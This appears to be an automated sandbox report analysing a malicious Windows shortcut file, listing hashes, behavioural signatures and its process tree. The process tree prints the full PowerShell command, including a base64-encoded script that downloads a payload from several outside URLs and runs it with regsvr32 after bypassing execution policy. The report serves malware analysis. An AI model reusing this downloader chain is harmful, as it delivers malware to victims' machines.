Analysis
-
max time kernel
96s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2024 10:49
Static task
static1
Behavioral task
behavioral1
Sample
a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
Resource
win10v2004-20241007-en
General
-
Target
a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
-
Size
2KB
-
MD5
7a6b4a25288a5a52f98e21964de0b356
-
SHA1
06eadddeeffa93e2d4cb70cfcc15a8c5d0d8c0a5
-
SHA256
a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1
-
SHA512
cb104d3bd3fe201236c6c3fcef934e6812a845b4121867af11f6f2494844e518fba84e923e9d061caf382416376f8986ed2c470286a29f35ea1a22ce5e4b46bb
Malware Config
Signatures
-
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid Process 14 3128 powershell.exe 17 3128 powershell.exe 20 3128 powershell.exe 23 3128 powershell.exe 25 3128 powershell.exe 28 3128 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation cmd.exe -
Processes:
powershell.exepowershell.exepid Process 4152 powershell.exe 3128 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid Process 4152 powershell.exe 4152 powershell.exe 3128 powershell.exe 3128 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 4152 powershell.exe Token: SeDebugPrivilege 3128 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exepowershell.exedescription pid Process procid_target PID 4332 wrote to memory of 4152 4332 cmd.exe 84 PID 4332 wrote to memory of 4152 4332 cmd.exe 84 PID 4152 wrote to memory of 3128 4152 powershell.exe 87 PID 4152 wrote to memory of 3128 4152 powershell.exe 87
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Aviso 27042022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps13⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3128
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD50ab03b4ab0ee8273a1eea28cef1ca1e7
SHA18a305ca40e71bd2b04b20c65e28730e3ff3f50b2
SHA256695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed
SHA5127347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
926B
MD58ef6909ba4b9e6cd6676297601c39e5c
SHA19dcd9af682adacb278c1970d49babafd29df3928
SHA2569a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c
SHA512b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5